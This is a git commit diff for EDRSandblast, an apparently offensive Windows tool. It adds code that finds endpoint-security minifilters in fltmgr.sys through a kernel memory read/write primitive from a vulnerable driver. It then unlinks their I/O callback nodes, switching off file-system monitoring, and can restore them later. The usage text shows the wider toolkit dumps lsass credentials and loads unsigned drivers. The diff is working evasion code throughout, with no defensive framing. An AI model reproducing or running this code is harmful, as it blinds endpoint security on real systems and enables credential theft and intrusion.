[new feature] Implements EDR minifilter callbacks detection and removal

Co-authored-by: Windy Bug <139051196+0mWindyBug@users.noreply.github.com>
This commit is contained in:
Maxime Meignan
2023-11-29 14:32:35 +01:00
parent 1b1919ba8a
commit e567c488ff
12 changed files with 594 additions and 11 deletions
+4
View File
@@ -171,11 +171,13 @@
<ClCompile Include="KernellandBypass\KernelCallbacks.c" /> <ClCompile Include="KernellandBypass\KernelCallbacks.c" />
<ClCompile Include="KernellandBypass\KernelDSE.c" /> <ClCompile Include="KernellandBypass\KernelDSE.c" />
<ClCompile Include="KernellandBypass\KernelUtils.c" /> <ClCompile Include="KernellandBypass\KernelUtils.c" />
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c" />
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" /> <ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
<ClCompile Include="UserlandBypass\Syscalls.c" /> <ClCompile Include="UserlandBypass\Syscalls.c" />
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" /> <ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
<ClCompile Include="Utils\CiOffsets.c" /> <ClCompile Include="Utils\CiOffsets.c" />
<ClCompile Include="Utils\FileUtils.c" /> <ClCompile Include="Utils\FileUtils.c" />
<ClCompile Include="Utils\FltmgrOffsets.c" />
<ClCompile Include="Utils\HttpClient.c" /> <ClCompile Include="Utils\HttpClient.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" /> <ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" /> <ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
@@ -209,7 +211,9 @@
<ClInclude Include="Includes\DriverDBUtil.h" /> <ClInclude Include="Includes\DriverDBUtil.h" />
<ClInclude Include="Includes\DriverGDRV.h" /> <ClInclude Include="Includes\DriverGDRV.h" />
<ClInclude Include="Includes\DriverRTCore.h" /> <ClInclude Include="Includes\DriverRTCore.h" />
<ClInclude Include="Includes\FltmgrOffsets.h" />
<ClInclude Include="Includes\KernelDSE.h" /> <ClInclude Include="Includes\KernelDSE.h" />
<ClInclude Include="Includes\MinifilterCallbacks.h" />
<ClInclude Include="Includes\PrintFunctions.h" /> <ClInclude Include="Includes\PrintFunctions.h" />
<ClInclude Include="Includes\PdbParser.h" /> <ClInclude Include="Includes\PdbParser.h" />
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" /> <ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
+12
View File
@@ -129,6 +129,12 @@
<ClCompile Include="Utils\PdbParser.c"> <ClCompile Include="Utils\PdbParser.c">
<Filter>Source Files</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FltmgrOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="Includes\CredGuard.h"> <ClInclude Include="Includes\CredGuard.h">
@@ -254,6 +260,12 @@
<ClInclude Include="Includes\PdbParser.h"> <ClInclude Include="Includes\PdbParser.h">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="Includes\MinifilterCallbacks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FltmgrOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm"> <MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
+50
View File
@@ -0,0 +1,50 @@
#pragma once
#include <Windows.h>
enum FltmgrOffsetType {
FltGlobals = 0,
_GLOBALS_FrameList,
_FLT_RESOURCE_LIST_HEAD_rList,
_FLTP_FRAME_Links,
_FLTP_FRAME_RegisteredFilters,
_FLT_OBJECT_PrimaryLink,
_FLT_FILTER_DriverObject,
_FLT_FILTER_InstanceList,
_DRIVER_OBJECT_DriverInit,
_FLT_INSTANCE_CallbackNodes,
_FLT_INSTANCE_FilterLink,
_SUPPORTED_FLTMGR_OFFSETS_END
};
union FltmgrOffsets {
// structure version of fltmgr.sys's offsets
struct {
DWORD64 FltGlobals;
DWORD64 _GLOBALS_FrameList;
DWORD64 _FLT_RESOURCE_LIST_HEAD_rList;
DWORD64 _FLTP_FRAME_Links;
DWORD64 _FLTP_FRAME_RegisteredFilters;
DWORD64 _FLT_OBJECT_PrimaryLink;
DWORD64 _FLT_FILTER_DriverObject;
DWORD64 _FLT_FILTER_InstanceList;
DWORD64 _DRIVER_OBJECT_DriverInit;
DWORD64 _FLT_INSTANCE_CallbackNodes;
DWORD64 _FLT_INSTANCE_FilterLink;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END];
};
union FltmgrOffsets g_fltmgrOffsets;
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet);
BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename);
void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename);
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetFltmgrPath();
LPTSTR GetFltmgrVersion();
+5 -1
View File
@@ -21,6 +21,7 @@
enum kernel_callback_type_e { enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB, NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK, OBJECT_CALLBACK,
MINIFILTER_CALLBACK,
}; };
struct KRNL_CALLBACK { struct KRNL_CALLBACK {
enum kernel_callback_type_e type; enum kernel_callback_type_e type;
@@ -34,8 +35,11 @@ struct KRNL_CALLBACK {
struct object_callback_t { struct object_callback_t {
DWORD64 enable_addr; DWORD64 enable_addr;
} object_callback; } object_callback;
struct minifilter_callback_t {
DWORD64 callback_node;
} minifilter_callback;
} addresses; } addresses;
DWORD64 callback_func; DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations
BOOL removed; BOOL removed;
}; };
@@ -0,0 +1,9 @@
#pragma once
#include <Windows.h>
#include "KernelCallbacks.h"
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose);
#if WriteMemoryPrimitiveIsAtomic
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
#endif
@@ -0,0 +1,167 @@
#include <Windows.h>
#include <Tchar.h>
#ifdef _DEBUG
#include <assert.h>
#endif
#include "FltmgrOffsets.h"
#include "IsEDRChecks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "PrintFunctions.h"
#include "PdbSymbols.h"
#include "MinifilterCallbacks.h"
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
BOOL edrCallbacksWereFound = FALSE;
DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys");
if (!fltmgr_base)
return -1;
if (verbose) {
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base);
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals);
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals
+ g_fltmgrOffsets.st._GLOBALS_FrameList
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
}
_putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:"));
DWORD64 frame_list_header = fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals
+ g_fltmgrOffsets.st._GLOBALS_FrameList
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header);
current_frame_shifted != frame_list_header;
current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted)
) {
DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links;
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame);
DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header);
current_filter_shifted != filter_list_header;
current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted)
) {
DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink;
// check if current filter is EDR-related
DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject);
DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit);
DWORD64 driverOffset;
TCHAR* driver = FindDriverName(driverInit, &driverOffset);
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver);
if (driver && isDriverNameMatchingEDR(driver)) {
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:"));
DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header);
current_instance_shifted != instance_list_header;
current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted)
) {
DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
//printf("\t[*] CallbackNodes : 0x%p\n", (PVOID)CallbackNodesEntry);
// for each CALLBACK_NODE in the array
DWORD64 CallbackNodesEntry = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
SIZE_T nbCallbackNodes = 0;
for (int j = 0; j < 50; j++)
{
DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesEntry + (j * 8));
// Register all callback nodes
if (CallbackNodePointer)
{
// Ugly hack: check if the node really is part of a linked list or have already been unlinked
// TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ?
DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink));
DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink));
if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) {
continue;
}
struct KRNL_CALLBACK cb = {
.type = MINIFILTER_CALLBACK,
.addresses.minifilter_callback.callback_node = CallbackNodePointer,
.callback_func = 0, //TODO: complete with preoperation & postoperations func address for information
.driver_name = driver,
.removed = FALSE,
};
AddFoundKernelCallback(foundEDRCallbacks, &cb);
edrCallbacksWereFound = TRUE;
nbCallbackNodes++;
}
}
_tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes);
}
}
}
}
return edrCallbacksWereFound;
}
#if WriteMemoryPrimitiveIsAtomic
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
SIZE_T counter = 0;
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS;
ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size;
ptr++
) {
if (ptr->type == MINIFILTER_CALLBACK &&
ptr->removed == FALSE) {
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress);
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress);
ptr->removed = TRUE;
counter++;
}
}
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
}
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
BOOL success = TRUE;
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
SIZE_T counter = 0;
// reinsert the nodes in the inverse order to avoid invalid states
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1;
edrCallbacks->EDR_CALLBACKS <= ptr;
ptr--
) {
if (ptr->type == MINIFILTER_CALLBACK &&
ptr->removed == TRUE) {
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
// Checks that "previous" and "next" nodes are still next to each other in the list
DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink));
if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) {
_putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?"));
success = FALSE;
continue;
}
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress);
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress);
ptr->removed = FALSE;
counter++;
}
}
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter);
return success;
}
#endif
+157
View File
@@ -0,0 +1,157 @@
#include <Windows.h>
#include <Shlwapi.h>
#include <stdio.h>
#include <tchar.h>
#include "FileUtils.h"
#include "FileVersion.h"
#include "PrintFunctions.h"
#include "PdbSymbols.h"
#include "FltmgrOffsets.h"
union FltmgrOffsets g_fltmgrOffsets = { 0 };
BOOL FltmgrOffsetsAreLoaded() {
return g_fltmgrOffsets.ar[0] != 0;
}
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) {
if (FltmgrOffsetsAreLoaded()) {
//offsets already loaded
return TRUE;
}
// load via CSV first
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) {
return TRUE;
}
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use."));
}
// load via internet then
if (canUseInternet) {
_putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
#if _DEBUG
if (LoadFltmgrOffsetsFromInternet(FALSE)) {
#else
if (LoadFltmgrOffsetsFromInternet(TRUE)) {
#endif
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
SaveFltmgrOffsetsToFile(fltmgrOffsetFilename);
}
return TRUE;
}
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
}
return FALSE;
}
BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) {
LPTSTR fltmgrVersion = GetFltmgrVersion();
_tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
return FALSE;
}
TCHAR lineFltmgrVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) {
TCHAR* endptr;
_tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion);
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return FltmgrOffsetsAreLoaded();
}
void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) {
LPTSTR fltmgrVersion = GetFltmgrVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion);
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]);
}
_fputts(TEXT("\n"), offsetFileStream);
fclose(offsetFileStream);
}
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR fltmgrPath = GetFltmgrPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath);
if (sym_ctx == NULL) {
return FALSE;
}
g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals");
g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit");
g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links");
g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters");
g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject");
g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList");
g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes");
g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink");
g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink");
g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList");
g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList");
UnloadSymbols(sym_ctx, delete_pdb);
return FltmgrOffsetsAreLoaded();
}
TCHAR g_fltmgrPath[MAX_PATH] = { 0 };
LPTSTR GetFltmgrPath() {
if (_tcslen(g_fltmgrPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute fltmgr.sys path.
PathAppend(g_fltmgrPath, systemDirectory);
PathAppend(g_fltmgrPath, TEXT("drivers"));
PathAppend(g_fltmgrPath, TEXT("fltMgr.sys"));
}
return g_fltmgrPath;
}
TCHAR g_fltmgrVersion[256] = { 0 };
LPTSTR GetFltmgrVersion() {
if (_tcslen(g_fltmgrVersion) == 0) {
LPTSTR fltmgrPath = GetFltmgrPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath);
_stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer);
}
return g_fltmgrVersion;
}
+50 -3
View File
@@ -14,11 +14,13 @@
#include "CredGuard.h" #include "CredGuard.h"
#include "DriverOps.h" #include "DriverOps.h"
#include "FileUtils.h" #include "FileUtils.h"
#include "FltmgrOffsets.h"
#include "Firewalling.h" #include "Firewalling.h"
#include "ETWThreatIntel.h" #include "ETWThreatIntel.h"
#include "KernelCallbacks.h" #include "KernelCallbacks.h"
#include "KernelDSE.h" #include "KernelDSE.h"
#include "KernelMemoryPrimitives.h" #include "KernelMemoryPrimitives.h"
#include "MinifilterCallbacks.h"
#include "NtoskrnlOffsets.h" #include "NtoskrnlOffsets.h"
#include "ObjectCallbacks.h" #include "ObjectCallbacks.h"
#include "ProcessDump.h" #include "ProcessDump.h"
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\ const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\ [--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\ [--kernelmode] [--dont-unload-driver] [--no-restore] \n\
[--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\ [--nt-offsets <NtoskrnlOffsets.csv>] [--fltmgr-offsets <FltmgrOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
[--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\ [--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\
[--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\ [--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\
[--no-kdp]\n\ [--no-kdp]\n\
@@ -168,6 +170,8 @@ Offset-related options:\n\
\n\ \n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ --nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--fltmgr-offsets <FltmgrOffsets.csv> Path to the CSV file containing the required fltmgr.sys's offsets\n\
Default to 'FltmgrOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\ --wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\ (only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\ Default to 'WdigestOffsets.csv' in the current directory.\n\
@@ -204,6 +208,7 @@ Dump options:\n\
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe"); TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 }; TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE; BOOL verbose = FALSE;
@@ -219,6 +224,7 @@ Dump options:\n\
BOOL ETWTIState = FALSE; BOOL ETWTIState = FALSE;
BOOL foundNotifyRoutineCallbacks = FALSE; BOOL foundNotifyRoutineCallbacks = FALSE;
BOOL foundObjectCallbacks = FALSE; BOOL foundObjectCallbacks = FALSE;
BOOL foundMinifilterCallbacks = FALSE;
HOOK* hooks = NULL; HOOK* hooks = NULL;
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized) //TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
@@ -305,6 +311,14 @@ Dump options:\n\
} }
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i])); _tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
} }
else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) { else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++; i++;
if (i > argc) { if (i > argc) {
@@ -483,6 +497,14 @@ Dump options:\n\
PrintNtoskrnlOffsets(); PrintNtoskrnlOffsets();
} }
if (_tcslen(fltmgrOffsetCSVPath) == 0) {
PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
}
if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
return EXIT_FAILURE;
}
// Install the vulnerable driver to have read / write in Kernel memory. // Install the vulnerable driver to have read / write in Kernel memory.
LPTSTR serviceNameIfAny = NULL; LPTSTR serviceNameIfAny = NULL;
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny); BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
@@ -533,6 +555,19 @@ Dump options:\n\
} }
_putts_or_not(TEXT("")); _putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
if (foundMinifilterCallbacks) {
#if WriteMemoryPrimitiveIsAtomic
isSafeToExecutePayloadKernelland = FALSE;
#else
_putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
#endif
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state...")); _putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
ETWTIState = isETWThreatIntelProviderEnabled(verbose); ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED")); _tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
@@ -827,7 +862,13 @@ Dump options:\n\
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT("")); _putts_or_not(TEXT(""));
} }
#if WriteMemoryPrimitiveIsAtomic
if (foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
RemoveEDRMinifilterCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#endif
/* /*
* 2/3 : Starting "resursively" our process. * 2/3 : Starting "resursively" our process.
*/ */
@@ -866,7 +907,13 @@ Dump options:\n\
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT("")); _putts_or_not(TEXT(""));
} }
#if WriteMemoryPrimitiveIsAtomic
if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
RestoreEDRMinifilterCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#endif
// Renable the ETW Threat Intel provider. // Renable the ETW Threat Intel provider.
